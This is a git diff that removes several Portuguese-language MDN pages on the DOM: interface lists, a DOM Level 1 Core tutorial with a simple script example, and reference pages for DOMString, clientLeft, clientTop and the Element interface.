  • {{domxref("HTMLDirectoryElement")}}
  • -
  • {{domxref("HTMLDivElement")}}
  • -
  • {{domxref("HTMLDListElement")}}
  • -
  • {{domxref("HTMLElement")}}
  • -
  • {{domxref("HTMLEmbedElement")}}
  • -
  • {{domxref("HTMLFieldSetElement")}}
  • -
  • {{domxref("HTMLFontElement")}}
  • -
  • {{domxref("HTMLFormElement")}}
  • -
  • {{domxref("HTMLFrameElement")}}
  • -
  • {{domxref("HTMLFrameSetElement")}}
  • -
  • {{domxref("HTMLHeadElement")}}
  • -
  • {{domxref("HTMLHeadingElement")}}
  • -
  • {{domxref("HTMLHtmlElement")}}
  • -
  • {{domxref("HTMLHRElement")}}
  • -
  • {{domxref("HTMLIFrameElement")}}
  • -
  • {{domxref("HTMLImageElement")}}
  • -
  • {{domxref("HTMLInputElement")}}
  • -
  • {{domxref("HTMLKeygenElement")}}
  • -
  • {{domxref("HTMLLabelElement")}}
  • -
  • {{domxref("HTMLLegendElement")}}
  • -
  • {{domxref("HTMLLIElement")}}
  • -
  • {{domxref("HTMLLinkElement")}}
  • -
  • {{domxref("HTMLMapElement")}}
  • -
  • {{domxref("HTMLMediaElement")}}
  • -
  • {{domxref("HTMLMenuElement")}}
  • -
  • {{domxref("HTMLMetaElement")}}
  • -
  • {{domxref("HTMLMeterElement")}}
  • -
  • {{domxref("HTMLModElement")}}
  • -
  • {{domxref("HTMLObjectElement")}}
  • -
  • {{domxref("HTMLOListElement")}}
  • -
  • {{domxref("HTMLOptGroupElement")}}
  • -
  • {{domxref("HTMLOptionElement")}}
  • -
  • {{domxref("HTMLOutputElement")}}
  • -
  • {{domxref("HTMLParagraphElement")}}
  • -
  • {{domxref("HTMLParamElement")}}
  • -
  • {{domxref("HTMLPreElement")}}
  • -
  • {{domxref("HTMLProgressElement")}}
  • -
  • {{domxref("HTMLQuoteElement")}}
  • -
  • {{domxref("HTMLScriptElement")}}
  • -
  • {{domxref("HTMLSelectElement")}}
  • -
  • {{domxref("HTMLSourceElement")}}
  • -
  • {{domxref("HTMLSpanElement")}}
  • -
  • {{domxref("HTMLStyleElement")}}
  • -
  • {{domxref("HTMLTableElement")}}
  • -
  • {{domxref("HTMLTableCaptionElement")}}
  • -
  • {{domxref("HTMLTableCellElement")}}
  • -
  • {{domxref("HTMLTableDataCellElement")}}
  • -
  • {{domxref("HTMLTableHeaderCellElement")}}
  • -
  • {{domxref("HTMLTableColElement")}}
  • -
  • {{domxref("HTMLTableRowElement")}}
  • -
  • {{domxref("HTMLTableSectionElement")}}
  • -
  • {{domxref("HTMLTextAreaElement")}}
  • -
  • {{domxref("HTMLTimeElement")}}
  • -
  • {{domxref("HTMLTitleElement")}}
  • -
  • {{domxref("HTMLTrackElement")}}
  • -
  • {{domxref("HTMLUListElement")}}
  • -
  • {{domxref("HTMLUnknownElement")}}
  • -
  • {{domxref("HTMLVideoElement")}}
  • -
-
- -

Outras interfaces

- -
-
    -
  • {{domxref("CanvasRenderingContext2D")}}
  • -
  • {{domxref("CanvasGradient")}}
  • -
  • {{domxref("CanvasPattern")}}
  • -
  • {{domxref("TextMetrics")}}
  • -
  • {{domxref("ImageData")}}
  • -
  • {{domxref("CanvasPixelArray")}}
  • -
  • {{domxref("NotifyAudioAvailableEvent")}}
  • -
  • {{domxref("HTMLAllCollection")}}
  • -
  • {{domxref("HTMLFormControlsCollection")}}
  • -
  • {{domxref("HTMLOptionsCollection")}}
  • -
  • {{domxref("HTMLPropertiesCollection")}}
  • -
  • {{domxref("DOMStringMap")}}
  • -
  • {{domxref("RadioNodeList")}}
  • -
  • {{domxref("MediaError")}}
  • -
-
- -

Interfaces HTML obsoletas {{obsolete_inline}}

- -
-
    -
  • {{domxref("HTMLBaseFontElement")}}
  • -
  • {{domxref("HTMLIsIndexElement")}}
  • -
-
- -

SGV - Interfaces

- -

Interfaces de elemento SVG

- -
-
    -
  • {{domxref("SVGAElement")}}
  • -
  • {{domxref("SVGAltGlyphElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGAltGlyphDefElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGAltGlyphItemElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGAnimationElement")}}
  • -
  • {{domxref("SVGAnimateElement")}}
  • -
  • {{domxref("SVGAnimateColorElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGAnimateMotionElement")}}
  • -
  • {{domxref("SVGAnimateTransformElement")}}
  • -
  • {{domxref("SVGCircleElement")}}
  • -
  • {{domxref("SVGClipPathElement")}}
  • -
  • {{domxref("SVGColorProfileElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGComponentTransferFunctionElement")}}
  • -
  • {{domxref("SVGCursorElement")}}
  • -
  • {{domxref("SVGDefsElement")}}
  • -
  • {{domxref("SVGDescElement")}}
  • -
  • {{domxref("SVGElement")}}
  • -
  • {{domxref("SVGEllipseElement")}}
  • -
  • {{domxref("SVGFEBlendElement")}}
  • -
  • {{domxref("SVGFEColorMatrixElement")}}
  • -
  • {{domxref("SVGFEComponentTransferElement")}}
  • -
  • {{domxref("SVGFECompositeElement")}}
  • -
  • {{domxref("SVGFEConvolveMatrixElement")}}
  • -
  • {{domxref("SVGFEDiffuseLightingElement")}}
  • -
  • {{domxref("SVGFEDisplacementMapElement")}}
  • -
  • {{domxref("SVGFEDistantLightElement")}}
  • -
  • {{domxref("SVGFEDropShadowElement")}}
  • -
  • {{domxref("SVGFEFloodElement")}}
  • -
  • {{domxref("SVGFEFuncAElement")}}
  • -
  • {{domxref("SVGFEFuncBElement")}}
  • -
  • {{domxref("SVGFEFuncGElement")}}
  • -
  • {{domxref("SVGFEFuncRElement")}}
  • -
  • {{domxref("SVGFEGaussianBlurElement")}}
  • -
  • {{domxref("SVGFEImageElement")}}
  • -
  • {{domxref("SVGFEMergeElement")}}
  • -
  • {{domxref("SVGFEMergeNodeElement")}}
  • -
  • {{domxref("SVGFEMorphologyElement")}}
  • -
  • {{domxref("SVGFEOffsetElement")}}
  • -
  • {{domxref("SVGFEPointLightElement")}}
  • -
  • {{domxref("SVGFESpecularLightingElement")}}
  • -
  • {{domxref("SVGFESpotLightElement")}}
  • -
  • {{domxref("SVGFETileElement")}}
  • -
  • {{domxref("SVGFETurbulenceElement")}}
  • -
  • {{domxref("SVGFilterElement")}}
  • -
  • {{domxref("SVGFilterPrimitiveStandardAttributes")}}
  • -
  • {{domxref("SVGFontElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGFontFaceElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGFontFaceFormatElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGFontFaceNameElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGFontFaceSrcElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGFontFaceUriElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGForeignObjectElement")}}
  • -
  • {{domxref("SVGGElement")}}
  • -
  • {{domxref("SVGGeometryElement")}}
  • -
  • {{domxref("SVGGlyphElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGGlyphRefElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGGradientElement")}}
  • -
  • {{domxref("SVGGraphicsElement")}}
  • -
  • {{domxref("SVGHatchElement")}} {{experimental_inline}}
  • -
  • {{domxref("SVGHatchpathElement")}} {{experimental_inline}}
  • -
  • {{domxref("SVGHKernElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGImageElement")}}
  • -
  • {{domxref("SVGLinearGradientElement")}}
  • -
  • {{domxref("SVGLineElement")}}
  • -
  • {{domxref("SVGMarkerElement")}} {{experimental_inline}}
  • -
  • {{domxref("SVGMaskElement")}}
  • -
  • {{domxref("SVGMeshElement")}} {{experimental_inline}}
  • -
  • {{domxref("SVGMeshGradientElement")}} {{experimental_inline}}
  • -
  • {{domxref("SVGMeshpatchElement")}} {{experimental_inline}}
  • -
  • {{domxref("SVGMeshrowElement")}} {{experimental_inline}}
  • -
  • {{domxref("SVGMetadataElement")}}
  • -
  • {{domxref("SVGMissingGlyphElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGMPathElement")}}
  • -
  • {{domxref("SVGPathElement")}}
  • -
  • {{domxref("SVGPatternElement")}}
  • -
  • {{domxref("SVGPolylineElement")}}
  • -
  • {{domxref("SVGPolygonElement")}}
  • -
  • {{domxref("SVGRadialGradientElement")}}
  • -
  • {{domxref("SVGRectElement")}}
  • -
  • {{domxref("SVGScriptElement")}}
  • -
  • {{domxref("SVGSetElement")}}
  • -
  • {{domxref("SVGSolidcolorElement")}} {{experimental_inline}}
  • -
  • {{domxref("SVGStopElement")}}
  • -
  • {{domxref("SVGStyleElement")}}
  • -
  • {{domxref("SVGSVGElement")}}
  • -
  • {{domxref("SVGSwitchElement")}}
  • -
  • {{domxref("SVGSymbolElement")}}
  • -
  • {{domxref("SVGTextContentElement")}}
  • -
  • {{domxref("SVGTextElement")}}
  • -
  • {{domxref("SVGTextPathElement")}}
  • -
  • {{domxref("SVGTextPositioningElement")}}
  • -
  • {{domxref("SVGTitleElement")}}
  • -
  • {{domxref("SVGTRefElement")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGTSpanElement")}}
  • -
  • {{domxref("SVGUseElement")}}
  • -
  • {{domxref("SVGUnknownElement")}} {{experimental_inline}}
  • -
  • {{domxref("SVGViewElement")}}
  • -
  • {{domxref("SVGVKernElement")}} {{deprecated_inline}}
  • -
-
- -

Interfaces de tipo de dados SVG

- -

Here are the DOM API for data types used in the definitions of SVG properties and attributes.

- -
-

Nota: Starting in {{Gecko("5.0")}}, the following SVG-related DOM interfaces representing lists of objects are now indexable and can be accessed ; in addition, they have a length property indicating the number of items in the lists: {{domxref("SVGLengthList")}}, {{domxref("SVGNumberList")}}, {{domxref("SVGPathSegList")}}, and {{domxref("SVGPointList")}}.

-
- -

Tipo estático

- -
-
    -
  • {{domxref("SVGAngle")}}
  • -
  • {{domxref("SVGColor")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGICCColor")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGElementInstance")}}
  • -
  • {{domxref("SVGElementInstanceList")}}
  • -
  • {{domxref("SVGLength")}}
  • -
  • {{domxref("SVGLengthList")}}
  • -
  • {{domxref("SVGMatrix")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGNameList")}}
  • -
  • {{domxref("SVGNumber")}}
  • -
  • {{domxref("SVGNumberList")}}
  • -
  • {{domxref("SVGPaint")}}
  • -
  • {{domxref("SVGPathSeg")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegClosePath")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegMovetoAbs")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegMovetoRel")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegLinetoAbs")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegLinetoRel")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegCurvetoCubicAbs")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegCurvetoCubicRel")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegCurvetoQuadraticAbs")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegCurvetoQuadraticRel")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegArcAbs")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegArcRel")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegLinetoHorizontalAbs")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegLinetoHorizontalRel")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegLinetoVerticalAbs")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegLinetoVerticalRel")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegCurvetoCubicSmoothAbs")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegCurvetoCubicSmoothRel")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegCurvetoQuadraticSmoothAbs")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegCurvetoQuadraticSmoothRel")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPathSegList")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPoint")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPointList")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGPreserveAspectRatio")}}
  • -
  • {{domxref("SVGRect")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGStringList")}}
  • -
  • {{domxref("SVGTransform")}}
  • -
  • {{domxref("SVGTransformList")}}
  • -
-
- -

Tipo animado

- -
-
    -
  • {{domxref("SVGAnimatedAngle")}}
  • -
  • {{domxref("SVGAnimatedBoolean")}}
  • -
  • {{domxref("SVGAnimatedEnumeration")}}
  • -
  • {{domxref("SVGAnimatedInteger")}}
  • -
  • {{domxref("SVGAnimatedLength")}}
  • -
  • {{domxref("SVGAnimatedLengthList")}}
  • -
  • {{domxref("SVGAnimatedNumber")}}
  • -
  • {{domxref("SVGAnimatedNumberList")}}
  • -
  • {{domxref("SVGAnimatedPathData")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGAnimatedPoints")}}
  • -
  • {{domxref("SVGAnimatedPreserveAspectRatio")}}
  • -
  • {{domxref("SVGAnimatedRect")}}
  • -
  • {{domxref("SVGAnimatedString")}}
  • -
  • {{domxref("SVGAnimatedTransformList")}}
  • -
-
- -

Interfaces relacionadas com SMIL

- -
-
    -
  • {{domxref("ElementTimeControl")}}
  • -
  • {{domxref("TimeEvent")}}
  • -
-
- -

Outras interfaces SVG

- -
-
    -
  • {{domxref("GetSVGDocument")}}
  • -
  • {{domxref("ShadowAnimation")}}
  • -
  • {{domxref("SVGColorProfileRule")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGCSSRule")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGDocument")}}
  • -
  • {{domxref("SVGException")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGExternalResourcesRequired")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGFitToViewBox")}}
  • -
  • {{domxref("SVGLangSpace")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGLocatable")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGRenderingIntent")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGStylable")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGTests")}}
  • -
  • {{domxref("SVGTransformable")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGUnitTypes")}}
  • -
  • {{domxref("SVGUseElementShadowRoot")}}
  • -
  • {{domxref("SVGURIReference")}}
  • -
  • {{domxref("SVGViewSpec")}} {{deprecated_inline}}
  • -
  • {{domxref("SVGZoomAndPan")}}
  • -
  • {{domxref("SVGZoomEvent")}} {{deprecated_inline}}
  • -
-
- -

Consulte também

- - - -
- - - - - -
diff --git a/files/pt-pt/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html b/files/pt-pt/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html deleted file mode 100644 index 1f9949733b..0000000000 --- a/files/pt-pt/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Utilizando o Núcleo DOM de Nível 1 do W3C -slug: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core -tags: - - DOM -translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core -original_slug: Using_the_W3C_DOM_Level_1_Core ---- -

O 'Núcleo DOM de Nível 1 do W3C' é um modelo de objetos poderoso para alterar o conteúdo de uma árvore de documentos. É suportado em todos os navegadores principais, incluindo o Mozilla Firefox e o Microsoft Internet Explorer. É uma base poderosa para scrips na Web.

- -

 O que é uma árvore de conteúdos?

- -

Muitos autores HTML pensam que o HTML é algo plano -- um punhado de texto com tags no meio. Entretanto, é muito mais do que somente isso. Qualquer documento HTML (ou do mesmo modo em qualquer documento SGML ou XML) é uma estrutura de árvore. Por exemplo, o seguinte documento e estrutura de árvore são similares (embora não sejam idênticos -- veja as notas em espaços em branco no DOM):

- -
<html>
-<head>
-  <title>My Document</title>
-</head>
-<body>
-  <h1>Header</h1>
-  <p>Paragraph</p>
-</body>
-</html>
-
- -

image:Using_the_W3C_DOM_Level_1_Core-doctree.jpg

- -

Quando o Mozilla interpreta um documento, ele constrói uma árvore de conteúdos e então a utiliza para mostrar o documento.

- -

Os termos utilizados para descrever árvores se aparecem frequentemente no Núcleo DOM Nível 1. Cada uma das caixas desenhadas na árvore acima é um nó na árvore. A linha acima de um nó expressa um relacionamento pai-filho: o nó ao topo é o pai, e o nó abaixo é o filho. Dois filhos do mesmo pai são, portanto, irmãos. Similarmente, pode-se referenciar ancestrais e descentes (Apesar de primos serem um tanto confusos).

- -

O que o Núcleo DOM Nível 1 me permite fazer?

- -

O DOM Nível 1 da W3C permite que você altere o conteúdo da árvore do modo que você desejar. É poderoso o bastante para construir qualquer documento HTML a partir do zero. Ele permite autores alterar qualquer coisa no documento a partir de um script, a qualquer instante. O modo mais fácil de um autor de uma página alterar o DOM dinamicamente é utilizando JavaScript. Em JavaScript, o documento é acessível do mesmo modo que em navegadores antigos: através da propriedade document do objeto global. Esse objeto document implementa a interface Document da especificação do Nível 1 do DOM do W3C.

- -

Um exemplo simples

- -

Suponha que autor queira  pegar o documento acima e alterar o conteúdo do cabeçalho, e escrever dois parágrafos ao invés de um. O seguinte script irá fazer o trabalho:

- -
// document.getElementsByTagName("H1") retorna um NodeList dos elementos H1
-// no documento, e o primeiro é o número 0:
-var header = document.getElementsByTagName("H1").item(0);
-
-// o firstChild do cabeçalho é um Text node, e a propriedade data
-// do text node contém seu texto:
-header.firstChild.data = "A dynamic document";
-// agora o cabeçalho é "A dynamic document".
-
-// Recupera o primeiro elemento P no documento do mesmo modo:
-var para = document.getElementsByTagName("P").item(0);
-// e altera seu texto também:
-para.firstChild.data = "This is the first paragraph.";
-
-// cria um novo Text node para o segundo parágrafo
-var newText = document.createTextNode("This is the second paragraph.");
-// cria um novo Element para ser o segundo parágrafo
-var newElement = document.createElement("P");
-// insere o texto no segundo parágrafo
-newElement.appendChild(newText);
-// e coloca o parágrafo no final do documento acrescentando-o ao
-// BODY (que é o pai de para)
-para.parentNode.appendChild(newElement);
-
- -

Você pode ver esse script como um exemplo completo.

- -

Como posso aprender mais?

- -

Agora que você está familiarizado com os conceitos básicos do DOM há um documento explicando os métodos fundamentais do DOM Nível 1. Ele é o acompanhamento desse documento.

- -

Veja também a especificação do Núcleo DOM Nível 1 do W3C. É uma especificação razoavelmente clara, apesar de sua formalidade. A principal utilidade para os autores é a descrição dos diferentes tipos de objetos DOM e todas as suas propriedades e métodos. Veja também nossa outra documentação DOM.

- -
-

Original Document Information

- -
    -
  • Author(s): L. David Baron <dbaron at dbaron dot org>
  • -
  • Copyright Information: © 1998-2005 by individual mozilla.org contributors; content available under a Creative Commons license
  • -
-
diff --git a/files/pt-pt/web/api/domstring/index.html b/files/pt-pt/web/api/domstring/index.html deleted file mode 100644 index abd4b8962e..0000000000 --- a/files/pt-pt/web/api/domstring/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: DOMString -slug: Web/API/DOMString -tags: - - API - - DOM - - Referencia - - String -translation_of: Web/API/DOMString ---- -
{{APIRef("DOM")}}
- -

DOMString é uma string codificada em UTF-16. Como a JavaScript já usa strings deste tipo, DOMString é mapeado diretamente a uma {{jsxref("String")}}.

- -

Passar {{jsxref("null")}} a um método ou parametro que aceita uma DOMString tipicamente é convertido para uma string com o valor "null".

- -

Especificações

- - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('WebIDL', '#idl-DOMString', 'DOMString')}}{{Spec2('WebIDL')}}
- -

Ver também

- -
    -
  • JavaScript {{jsxref("String")}}
  • -
  • {{domxref("USVString")}}
  • -
  • {{domxref("CSSOMString")}}
  • -
  • Strings binários
  • -
diff --git a/files/pt-pt/web/api/element/clientleft/index.html b/files/pt-pt/web/api/element/clientleft/index.html deleted file mode 100644 index 2fa24484b0..0000000000 --- a/files/pt-pt/web/api/element/clientleft/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: element.clientLeft -slug: Web/API/Element/clientLeft -tags: - - PrecisaDeRevisãoEditorial - - Referência_do_DOM_Gecko -translation_of: Web/API/Element/clientLeft -original_slug: DOM/element.clientLeft ---- -

{{ ApiRef() }} Faltam duas imagens no documento

-

Resumo

-

A largura da borda esquerda de um elemento em pixels inclui a largura da barra de rolagem vertical se a direção do texto do elemento estiver da direita para a esquerda e se houver um excesso causando uma barra de rolagem vertical na esquerda para ser renderizada. clientLeft não inclui a margem ou o enchimento esquerdo. clientLeft é somente leitura.

-

Aplicações baseadas em Gecko suportam clientLeft començando com o Gecko 1.9 (Firefox 3, implementado em {{ Bug(111207) }}). Esta propriedade não é suportada pelo Firefox 2 e mais antigos.

-

Sintaxe

-
var left = element.clientLeft;
-
-

Exemplos

-
-
-

padding-top

-

Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.

-

Image:BirmanCat.jpgAll Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.

-

Cat image and text coming from www.best-cat-art.com

-

padding-bottom

-
- LeftTopRightBottommargin-topmargin-bottomborder-topborder-bottom{{ mediawiki.external('if IE') }}><span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-left</span><span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-left</span><span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">padding-left</span><span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;">padding-right</span><span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-right</span><span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-right</span><!{{ mediawiki.external('endif') }}
-

Image:clientLeft.png

-

Vertical scrollbar position when layout.scrollbar.side property is set to 1 or to 3

-

Quando a propriedade - - layout.scrollbar.side - é configurada para 1 ou para 3 e quando a direção do texto é configurada da direita para a esquerda, então a barra de rolagem vertical é posicionada na esquerda e isto impacta na maneira como o clientLeft é computado.

-

Especificação

-

Não é parte de qualquer especificação W3C.

-

Notas

-

clientLeft foi primeiramente introduzido no objeto modelo DHTML do MS IE.

-

A posição da barra de rolagem vertical na direção do texto, direita para a esquerda, configura que o elemento dependerá da preferência - - layout.scrollbar.side -

-

Referências

- -

Categorias

-

Interwiki Language Links

-

{{ languages( { "en": "en/DOM/element.clientLeft", "ja": "ja/DOM/element.clientLeft", "pl": "pl/DOM/element.clientLeft" } ) }}

diff --git a/files/pt-pt/web/api/element/clienttop/index.html b/files/pt-pt/web/api/element/clienttop/index.html deleted file mode 100644 index 9212f32bdd..0000000000 --- a/files/pt-pt/web/api/element/clienttop/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: element.clientTop -slug: Web/API/Element/clientTop -tags: - - PrecisaDeRevisãoEditorial - - Referência_do_DOM_Gecko -translation_of: Web/API/Element/clientTop -original_slug: DOM/element.clientTop ---- -

{{ ApiRef() }} Falta uma imagem no documento

-

Resumo

-

A largura da borda superior de um elemento em pixels não inclui a margem superior ou o enchimento. clientTop é somente leitura.

-

Aplicações baseadas em Gecko suportam clientTop começando com Gecko 1.9 (Firefox 3, implementou em {{ Bug(111207) }}). Esta propriedade não é suportada no Firefox 2 e mais antigos.

-

Sintaxe

-
vartop = element.clientTop;
-
-

Exemplos

-
-
-

padding-top

-

Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.

-

Image:BirmanCat.jpgAll Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.

-

Cat image and text coming from www.best-cat-art.com

-

padding-bottom

-
- LeftTopRightBottommargin-topmargin-bottomborder-topborder-bottom{{ mediawiki.external('if IE') }}><span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-left</span><span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-left</span><span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">padding-left</span><span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;">padding-right</span><span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-right</span><span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-right</span><!{{ mediawiki.external('endif') }}
-

Image:clientTop.png

-

Especificação

-

Não é parte de nenhuma especificação W3C.

-

Notas

-

clientTop foi primeiramente introduzido no objeto modelo DHTML do MS IE.

-

Referências

- -

Categorias

-

Interwiki Language Links

-

{{ languages( { "en": "en/DOM/element.clientTop", "pl": "pl/DOM/element.clientTop" } ) }}

diff --git a/files/pt-pt/web/api/element/index.html b/files/pt-pt/web/api/element/index.html deleted file mode 100644 index abad0b55c4..0000000000 --- a/files/pt-pt/web/api/element/index.html +++ /dev/null @@ -1,574 +0,0 @@ ---- -title: element -slug: Web/API/Element -tags: - - API - - API da Web - - DOM - - Element - - Elemento - - Interface - - Referencia - - Referência DOM -translation_of: Web/API/Element -original_slug: DOM/element ---- -
{{APIRef("DOM")}}
- -

Element é a classe base mais geral da qual todos os objetos em um {{DOMxRef("Document","documento")}} herdam. Este só tem métodos e propriedades comuns para todos os tipos de elementos. Classes mais específicas herdam de Element. Por exemplo, a interface {{DOMxRef("HTMLElement")}} é a interface base para os elementos HTML, enquanto a interface {{DOMxRef("SVGElement")}} é a base para todos os elementos SVG. A maioria das funcionalidades é especificada mais abaixo na hierarquia de classes.

- -

Linguagens fora do âmbito da plataforma Web, como XUL através da interface XULElement, também implementa Element.

- -

{{InheritanceDiagram}}

- -

Propriedades

- -

Inherits properties from its parent interface, {{DOMxRef("Node")}}, and by extension that interface's parent, {{DOMxRef("EventTarget")}}. It implements the properties of {{DOMxRef("ParentNode")}}, {{DOMxRef("ChildNode")}}, {{DOMxRef("NonDocumentTypeChildNode")}}, and {{DOMxRef("Animatable")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NomeDescriçãoTipoDosponibilidade
attibutesTodos os atributos associados ao elementoNamedNodeMapAll
childNodesTodos os nós-filhos de um elemento.NodeListAll
classNameRetorna ou define a classe do elemento.StringHTML, XUL
clientHeightA altura interna de um elemento.NumberHTML
clientLeftA largura da borda esquerda de um elemento.NumberHTML
clientTopA largura da borda superior de um elemento.NumberHTML
clientWidthA largura interna de um elemento.NumberHTML
dirRetorna ou define a direcionalidade do elemento.StringHTML, XUL
firstChildO primeiro nó-filho direto de um elemento, ou null se o elemento não tem nós-filhos.NodeAll
idRetorna ou define o id do elemento.StringHTML, XUL
innerHTMLRetorna ou define a marcação e o conteúdo de um elemento.StringHTML
langRetorna ou define o atributo linguagem de um elemento, texto, e conteúdo do elemento.StringHTML
lastChildO último nó-filho direto de um elemento, ou null se o elemento não tem nós-filhos.NodeAll
localNameA parte local de um nome qualificado de um elemento.StringAll
NomeDescriçãoTipoDisponibilidade
nameRetorna/define o atributo name de um elemento.StringHTML
namespaceURIA URI de namespace do nó, ou null se não está especificado.StringAll
nextSiblingO nó imediatamente seguinte ao dado numa árvore, ou null se não existe nó-irmão.NodeAll
nodeNameO nome do nó.StringAll
nodeTypeUm número representando o tipo do nó. É sempre igual a 1 para elementos DOM.NumberAll
nodeValueO valor do nó. É sempre igual a null para elementos DOM.StringAll
offsetHeightA altura de um elemento, em relação ao layout.NumberHTML
offsetLeftA distância da borda esquerda do elemento para o a borda esquerda do seu offsetParent.NumberHTML
offsetParentO elemento para o qual todos cálculos de offset estão atualmente computados.ElementHTML
offsetTopA distância da borda superior do elemento para o a borda superior do seu offsetParent.NumberHTML
offsetWidthA largura de um elemento, em relação ao layout.NumberHTML
ownerDocumentO documento no qual o nó está, ou null se o nó não está dentro de nenhum.DocumentAll
NomeDescriçãoTipoDisponibilidade
parentNodeThe parent element of this node, or null if the node is not inside of a DOM Document.NodeAll
prefixThe namespace prefix of the node, or null if no prefix is specified.StringAll
previousSiblingThe node immediately preceding the given one in the tree, or null if there is no sibling node.NodeAll
scrollHeightThe scroll view height of an element.NumberHTML
scrollLeftGets/sets the left scroll offset of an element.NumberHTML
scrollTopGets/sets the top scroll offset of an element.NumberHTML
scrollWidthThe scroll view width of an element.NumberHTML
